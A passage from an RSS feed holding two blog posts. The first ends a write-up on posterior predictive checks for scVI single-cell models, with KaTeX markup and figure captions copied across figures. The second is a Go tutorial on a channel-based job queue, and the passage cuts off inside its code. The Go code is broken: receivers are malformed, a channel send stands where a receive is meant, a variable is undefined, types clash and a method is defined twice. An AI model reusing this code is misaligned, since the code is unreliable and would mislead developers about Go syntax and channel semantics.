mathdefault mtight">c</span><span class="mpunct mtight">,</span><span class="mord mathdefault mtight" style="margin-right:0.03588em;">g</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.000000000000001em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5000000000000004em;"><span style="top:-4.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∼</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathcal" style="margin-right:0.14736em;">N</span></span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mclose">)</span></span></span><span style="top:-3.16em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∼</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord text"><span class="mord">softmax</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.10764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.02691em;">w</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.04398em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">c</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mclose">)</span></span></span><span style="top:-1.6599999999999993em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∼</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord text"><span class="mord">NB</span></span><span class="mopen">(</span><span class="mord"><span class="mord" style="color:blue;"><span class="mord mathdefault" style="margin-right:0.01968em;color:blue;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.01968em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight" style="color:blue;"><span class="mord mathdefault mtight" style="color:blue;">c</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="mord"><span class="mord" style="color:red;"><span class="mord mathdefault" style="color:red;">ρ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139200000000003em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight" style="color:red;"><span class="mord mtight" style="color:red;"><span class="mord mathdefault mtight" style="color:red;">c</span><span class="mpunct mtight" style="color:red;">,</span><span class="mord mathdefault mtight" style="margin-right:0.03588em;color:red;">g</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">ϕ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139200000000003em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">g</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.000000000000001em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5000000000000004em;"><span style="top:-4.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord" style="color:purple;">Cell embedding</span></span></span></span><span style="top:-3.16em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord" style="color:red;">Normalized expression </span></span></span></span><span style="top:-1.6599999999999993em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Observed counts</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.000000000000001em;"><span></span></span></span></span></span></span></span></span></span></span></span></p>

<p>The total sequencing depth for a cell can be also be learned by the network inherently, but the latest version (0.8.0) of
scVI supports using observed library size. I started using observed library sizes before it became
part of the implementation. The training time is faster and in my limited testing, the downstream clustering
results look slightly better with using observed library size, but it could also be due to other reasons.</p>

<p>The latent distribution $Z$ thus learned is a reduced dimensional latent reprsentation of the data. I will use [PBMC3k
dataset] (https://support.10xgenomics.com/single-cell-gene-expression/datasets/1.1.0/pbmc3k) for all the analysis here. We can do a 
UMAP visualization and the clusters tend to match up pretty well with ground truth, though there is possiblity
of improvement.</p>

<div class="figure">
    <img src="https://saket-choudhary.me/assets/images/scvi-1/fig0_pbmc_umap.png" style="width: 80%; display: block; margin: 0 auto;" />
    <center><div class="caption">  <span class="caption-label">Figure 1.</span>
      UMAP on the latent representation learned by scvi on PBMC3k dataset.
    </div></center>
</div>

<p>We now have a $P(Y)$ and access to all intermediate values we can do a ton of things. But
the first thing would be to check if $P(Y)$ is indeed correct. One such way of performing validity checks on this
model is posterior predictive checks (PPC). I learned of PPCs through <a href="https://xcelab.net/rm/statistical-rethinking/">Richard McElreath’s</a>
Statistical Rethinking <a class="citation" href="#mcelreath2020statistical">(McElreath, 2020)</a>, which forms an integral part of all his discussions.</p>

<p>The idea of a PPC is very simple: simulate replicate data from the learned model and compare it to the observed.
In a way you are using your data twice, to learn the model and then using the learned model to check it against
the same data. A better designed check would be done on held out dataset, but it is perfectly valid to test
the model against the observations used to train the model.</p>

<p>The simplest checks for scRNA-seq counts is the mean-variance relationships. The simulated means and variances
from the learned model should match that of the observed data on both a cell and a gene level.</p>

<div class="figure">
    <img src="https://saket-choudhary.me/assets/images/scvi-1/fig2_pbmc3k_ppc.png" style="width: 80%; display: block; margin: 0 auto;" />
    <center>
      <div class="caption">
        <span class="caption-label">Figure 2.</span> 
        Comparison of generated against observed means, variance and mean-variance relationships.
      </div>
    </center>
</div>
<p>The simulated mean-variance relationship aligns very well with the observed relationship.</p>

<p>Let’s compare how the dispersion looks like:</p>
<div class="figure">
    <img src="https://saket-choudhary.me/assets/images/scvi-1/fig3_pbmc_dispersion.png" style="width: 80%; display: block; margin: 0 auto;" />
    <center>
      <div class="caption">
        <span class="caption-label">Figure 3.</span> 
        Comparison of generated against observed means, variance and mean-variance.
      </div> 
    </center>
</div>

<p>Variation with gene detection rate:</p>
<div class="figure">
    <img src="https://saket-choudhary.me/assets/images/scvi-1/fig4_pbmc_detection_rate.png" style="width: 80%; display: block; margin: 0 auto;" />
    <center>
      <div class="caption">
        <span class="caption-label">Figure 4.</span> 
        Comparison of generated against observed means, variance and mean-variance.
      </div> 
    </center>
</div>

<p>The loss function being minizmied to infere the parameters minimizes the reconstruction loss between generated counts 
$X$ and observed counts $Y$.</p>

<div class="figure">
    <img src="https://saket-choudhary.me/assets/images/scvi-1/fig5_pbmc_reconstruction_error.png" style="width: 80%; display: block; margin: 0 auto;" />
    <center>
      <div class="caption">
        <span class="caption-label">Figure 5.</span> 
        Comparison of generated against observed means, variance and mean-variance.
      </div> 
    </center>
</div>

<p>One thing I still need to wrap around my head is how much informative the reconstruction error itself is. For example, a UMAP
of this reconstruction error mimics that of the latent representation:</p>
<div class="figure">
    <img src="https://saket-choudhary.me/assets/images/scvi-1/fig1_pbmc3k_recon_umap.png" style="width: 80%; display: block; margin: 0 auto;" />
    <center>
      <div class="caption">
        <span class="caption-label">Figure 5.</span> 
        Comparison of generated against observed means, variance and mean-variance.
      </div> 
    </center>
</div>

<ol class="bibliography"><li><span id="lopez2018deep">Lopez, R., Regier, J., Cole, M. B., Jordan, M. I., &amp; Yosef, N. (2018). Deep generative modeling for single-cell transcriptomics. <i>Nature Methods</i>, <i>15</i>(12), 1053–1058.</span></li>
<li><span id="devroye1986sample">Devroye, L. (1986). Sample-based non-uniform random variate generation. <i>Proceedings of the 18th Conference on Winter Simulation</i>, 260–265.</span></li>
<li><span id="mcelreath2020statistical">McElreath, R. (2020). <i>Statistical rethinking: A Bayesian course with examples in R and Stan</i>. CRC press.</span></li>
<li><span id="ma2020chromatin">Ma, S., Zhang, B., LaFave, L. M., Earl, A. S., Chiang, Z., Hu, Y., Ding, J., Brack, A., Kartha, V. K., Tay, T., &amp; others. (2020). Chromatin potential identified by shared single-cell profiling of RNA and chromatin. <i>Cell</i>, <i>183</i>(4), 1103–1116.</span></li></ol>]]></content:encoded>
            <author>Saket Choudhary</author>
        </item>
        <item>
            <title><![CDATA[Designing a simple Job Queue in Golang]]></title>
            <link>https://mrkaran.dev/posts/job-queue-golang/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/job-queue-golang/</guid>
            <pubDate>Tue, 01 Dec 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[In this post we’ll see how to create a simple job queue in Golang. There are tonnes of libraries and posts out there doing overly complicated stuff, however if your need is pretty minimal or you want to understand the concepts from ground up, this post aims to do just that and nothing more.
We’ll be using concepts like WaitGroup, Channels and Contexts to build our own Job Queuing mechanism. It primarily involves 2 components:
Queue: A queue which has a list of items waiting to be processed.
Worker: A worker constantly listening to that queue and processing the events as desired.
With these 2 main ideas behind us, let us create our sample structure:
package dispatch

type Dispatcher interface {
	// Push takes an Event and pushes to a queue.
	Push(Event) error
	// Run spawns the workers and waits indefinitely for
	// the events to be processed.
	Run()
}

// EventDispatcher represents the datastructure for an
// EventDispatcher instance. This struct satisfies the
// Dispatcher interface.
type EventDispatcher struct {
	Opts     Options
	Queue    chan models.Notification
	Finished bool
}

// Options represent options for EventDispatcher.
type Options struct {
	MaxWorkers int // Number of workers to spawn.
	MaxQueueSize int // Maximum length for the queue to hold events.
}

// NewEventDispatcher initialises a new event dispatcher.
func NewEventDispatcher(opts Options) (Dispatcher) {
	return EventDispatcher{
		Opts: opts,
		Queue: make(chan Event, opts.MaxQueueSize),
		Finished: false,
	}
}
Pushing to Queue#
Now that we have our basic structure ready, let’s write a function to push events to queue.
A queue is simply a channel. We have created a new queue of size MaxQueueSize while initialising the EventDispatcher.
Queue: make(chan Event, opts.MaxQueueSize)
To push events into it, we’ll simply do: d.Queue <- event. This adds a new item (event) of type Event to our queue.
// Push adds a new event payload to the queue.
func (d *EventDispatcher Push(event Event) error {
	if d.Finished {
		return errors.New(`queue is closed`)
	}
	d.Queue <- event
	return nil
}
Listening to Queue#
So the client is calling Push() on our EventDispatcher and events are being pushed in the channel. But there’s no one reading from this channel so far. Let’s fix that by spawning workers, who will listen on the channel indefinitely and process the events:
for {
    select {
        case event <- d.Queue:
        event.Process()
    }
}
In the above snippet, we are simply looping indefinitely to scan through all items in the queue. event <- d.Queue is basically fetching the item from the channel and assigning a value to it.
event.Process() is a dummy function but it basically indicates that whatever processing that needs to be done should be handled here.
Right now, you’ll be wondering two things:
If this is an infinite loop, how do we guarantee it runs forever?
How do I spawn more workers if I need concurrency?
To address these problems, let’s add in WaitGroups and GoRoutines to our mix.
WaitGroups will help us keep a count of workers which have been spawned and until each one of them finishes processing, wait groups will keep blocking indefinitely using wg.Wait().
And to bring in more workers, we’ll simply spawn them with GoRoutines:
go func() {
	for {
	  select {
	    case event <- d.Queue:
		event.Process()
	  }
	}
}()
Now, spawning n Goroutines is just a matter of a simple for loop over this:
for i:=0; i<d.Opts.MaxWorkers; i++{
	wg.Add(1) // Add a wait group for each worker
	go func() {
		for {
		select {
			case event <- d.Queue:
			event.Process()
		}
		}
	}()
}
Perfect! But hang on! We have missed a critical thing. How do we handle cancellations? For eg, when your program shuts down, we should clean up all the Goroutines spawned and process the remaining messages in queue. For that, we need to listen to a Cancellation channel. The only purpose of this channel is to listen for SIGINT or SIGTERM signals and whenever either of them is received, we should flush our events.
Here’s how the client would initialise a context:
// Create a channel to relay `SIGINT` and `SIGTERM` signals.
closeChan := make(chan os.Signal, 1)
signal.Notify(closeChan, os.Interrupt, syscall.SIGTERM)
ctx, cancel := context.WithCancel(context.Background())
And in the main thread, the client would block on closeChan channel like:
// Listen on close channel indefinitely until a
// `SIGINT` or `SIGTERM` is received.
<-closeChan
// Cancel the context to gracefully shutdown.
cancel()
When cancel() is called, it does something special. It passes a value to ctx.Done() channel. We can listen to this channel in the .Run() function and flush pending events accordingly:
case <- ctx.Done():
	// Ensure no new messages are added.
	d.Finished = true
	// Flush all events.
	e.Flush()
	// This Goroutine has finished processing.
	wg.Done()
Stitching all pieces together, we finally have:
package dispatch

type Dispatcher interface {
	// Push takes an Event and pushes to a queue.
	Push(Event) error
	// Run spawns the workers and waits indefinitely for
	// the events to be processed.
	Run()
}

// EventDispatcher represents the datastructure for an
// EventDispatcher instance. This struct satisfies the
// Dispatcher interface.
type EventDispatcher struct {
	Opts     Options
	Queue    chan models.Notification
	Finished bool
}

// Options represent options for EventDispatcher.
type Options struct {
	MaxWorkers int // Number of workers to spawn.
	MaxQueueSize int // Maximum length for the queue to hold events.
}

// NewEventDispatcher initialises a new event dispatcher.
func NewEventDispatcher(opts Options) (Dispatcher) {
	return EventDispatcher{
		Opts: opts,
		Queue: make(chan Event, opts.MaxQueueSize),
		Finished: false,
	}
}

// Push adds a new event payload to the queue.
func (d *EventDispatcher Push(event Event) error {
	if d.Finished {
		return errors.New(`queue is closed`)
	}
	d.Queue <- event
	return nil
}

// Run spawns workers and listens to the queue
// It's a blocking function and waits for a cancellation
// invocation from the Client.
func (d *EventDispatcher Run(ctx context.Context) {
	wg := sync.WaitGroup{}
	for i := 0; i < d.Opts.MaxWorkers; i++ {
		wg.Add(1) // Add a wait group for each worker
		// Spawn a worker
		go func() {
			for {
				select {
				case <-ctx.Done():
					// Ensure no new messages are added.
					d.Finished = true
					// Flush all events
					e.Flush()
					wg.Done()
					return
				case e <- d.Queue:
					e.Process()
				}
			}
		}()
	}
	wg.Wait()
}

// Push adds a new event payload to the queue.
func (d *EventDispatcher Push(event Event) error {
	if d.Finished {
		return errors.New(`queue is closed`)
	}
	d.Queue <- event
	return nil
}
This post doesn’t cover how to flush or process the events as these are implementation specific details.
This is a pretty barebones structure and you can modify the code according to your usecase.
Fin!]]></description>
            <content:encoded><![CDATA[<p>In this post we’ll see how to create a simple job queue in Golang. There are tonnes of libraries and posts out there doing overly complicated stuff, however if your need is pretty minimal or you want to understand the concepts from ground up, this post aims to do just that and nothing more.</p>
<p>We’ll be using concepts like <a rel="external" href="https://golang.org/pkg/sync/#WaitGroup">WaitGroup</a>, <a rel="external" href="https://golang.org/doc/effective_go.html#concurrency">Channels</a> and <a rel="external" href="https://golang.org/pkg/context/">Contexts</a> to build our own Job Queuing mechanism. It primarily involves 2 components:</p>
<ul>
<li>
<p><strong>Queue</strong>: A queue which has a list of items waiting to be processed.</p>
</li>
<li>
<p><strong>Worker</strong>: A <em>worker</em> constantly listening to that queue and <em>processing</em> the events as desired.</p>
</li>
</ul>
<p>With these 2 main ideas behind us, let us create our sample structure:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">package</span><span style="color: light-dark(#6F42C1, #F69D50);"> dispatch</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> Dispatcher</span><span style="color: light-dark(#D73A49, #F47067);"> interface</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Push takes an Event and pushes to a queue.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">	Push</span><span>(</span><span style="color: light-dark(#6F42C1, #F69D50);">Event</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> error</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Run spawns the workers and waits indefinitely for</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> the events to be processed.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">	Run</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> EventDispatcher represents the datastructure for an</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> EventDispatcher instance. This struct satisfies the</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Dispatcher interface.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> EventDispatcher</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>	Opts</span><span style="color: light-dark(#6F42C1, #F69D50);">     Options</span></span>
<span class="giallo-l"><span>	Queue</span><span style="color: light-dark(#D73A49, #F47067);">    chan</span><span style="color: light-dark(#6F42C1, #F69D50);"> models</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Notification</span></span>
<span class="giallo-l"><span>	Finished</span><span style="color: light-dark(#D73A49, #F47067);"> bool</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Options represent options for EventDispatcher.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> Options</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>	MaxWorkers</span><span style="color: light-dark(#D73A49, #F47067);"> int</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Number of workers to spawn.</span></span>
<span class="giallo-l"><span>	MaxQueueSize</span><span style="color: light-dark(#D73A49, #F47067);"> int</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Maximum length for the queue to hold events.</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> NewEventDispatcher initialises a new event dispatcher.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> NewEventDispatcher</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">opts</span><span style="color: light-dark(#6F42C1, #F69D50);"> Options</span><span>)</span><span> (</span><span style="color: light-dark(#6F42C1, #F69D50);">Dispatcher</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	return</span><span style="color: light-dark(#6F42C1, #F69D50);"> EventDispatcher</span><span>{</span></span>
<span class="giallo-l"><span>		Opts</span><span>:</span><span> opts</span><span>,</span></span>
<span class="giallo-l"><span>		Queue</span><span>:</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">chan</span><span style="color: light-dark(#6F42C1, #F69D50);"> Event</span><span>,</span><span> opts</span><span>.</span><span>MaxQueueSize</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span>		Finished</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h3 id="pushing-to-queue">Pushing to Queue<a class="zola-anchor" href="#pushing-to-queue" aria-label="Anchor link for: pushing-to-queue">#</a></h3>
<p>Now that we have our basic structure ready, let’s write a function to push events to queue.</p>
<p>A queue is simply a channel. We have created a new queue of size <code>MaxQueueSize</code> while initialising the <code>EventDispatcher</code>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>Queue: make(chan Event, opts.MaxQueueSize)</span></span></code></pre>
<p>To push events into it, we’ll simply do: <code>d.Queue &lt;- event</code>. This adds a new item (<code>event</code>) of type <code>Event</code> to our queue.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Push adds a new event payload to the queue.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">d </span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#6F42C1, #F69D50);">EventDispatcher</span><span style="color: light-dark(#6F42C1, #F69D50);"> Push</span><span>(</span><span>event</span><span> Event</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> error</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> d</span><span>.</span><span>Finished</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		return</span><span> errors</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">New</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">queue is closed</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>	d</span><span>.</span><span>Queue</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> event</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h3 id="listening-to-queue">Listening to Queue<a class="zola-anchor" href="#listening-to-queue" aria-label="Anchor link for: listening-to-queue">#</a></h3>
<p>So the client is calling <code>Push()</code> on our <code>EventDispatcher</code> and events are being pushed in the channel. But there’s no one reading from this channel so far. Let’s fix that by spawning workers, who will listen on the channel <em>indefinitely</em> and process the events:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">for</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    select</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        case</span><span> event</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> d</span><span>.</span><span>Queue</span><span>:</span></span>
<span class="giallo-l"><span>        event</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Process</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>In the above snippet, we are simply looping indefinitely to scan through all items in the queue. <code>event &lt;- d.Queue</code> is basically fetching the item from the channel and assigning a value to it.</p>
<p><code>event.Process()</code> is a dummy function but it basically indicates that whatever processing that needs to be done should be handled here.</p>
<p>Right now, you’ll be wondering two things:</p>
<ul>
<li>If this is an infinite loop, how do we guarantee it runs forever?</li>
<li>How do I spawn more workers if I need concurrency?</li>
</ul>
<p>To address these problems, let’s add in WaitGroups and GoRoutines to our mix.</p>
<p>WaitGroups will help us keep a count of workers which have been spawned and until each one of them finishes processing, wait groups will keep blocking indefinitely using <code>wg.Wait()</code>.</p>
<p>And to bring in more workers, we’ll simply spawn them with GoRoutines:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">go</span><span style="color: light-dark(#D73A49, #F47067);"> func</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	  select</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	    case</span><span> event</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> d</span><span>.</span><span>Queue</span><span>:</span></span>
<span class="giallo-l"><span>		event</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Process</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>	  }</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>}</span><span>(</span><span>)</span></span></code></pre>
<p>Now, spawning <code>n</code> Goroutines is just a matter of a simple for loop over this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">for</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);">:=</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>;</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>d</span><span>.</span><span>Opts</span><span>.</span><span>MaxWorkers</span><span>;</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);">++</span><span>{</span></span>
<span class="giallo-l"><span>	wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Add</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Add a wait group for each worker</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	go</span><span style="color: light-dark(#D73A49, #F47067);"> func</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		select</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			case</span><span> event</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> d</span><span>.</span><span>Queue</span><span>:</span></span>
<span class="giallo-l"><span>			event</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Process</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>	}</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Perfect! But hang on! We have missed a critical thing. How do we handle cancellations? For eg, when your program shuts down, we should clean up all the Goroutines spawned and process the remaining messages in queue. For that, we need to listen to a <code>Cancellation</code> channel. The only purpose of this channel is to listen for SIGINT or SIGTERM signals and whenever either of them is received, we should flush our events.</p>
<p>Here’s how the client would initialise a context:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Create a channel to relay `SIGINT` and `SIGTERM` signals.</span></span>
<span class="giallo-l"><span>closeChan</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">chan</span><span style="color: light-dark(#6F42C1, #F69D50);"> os</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Signal</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span>)</span></span>
<span class="giallo-l"><span>signal</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Notify</span><span>(</span><span>closeChan</span><span>,</span><span> os</span><span>.</span><span>Interrupt</span><span>,</span><span> syscall</span><span>.</span><span>SIGTERM</span><span>)</span></span>
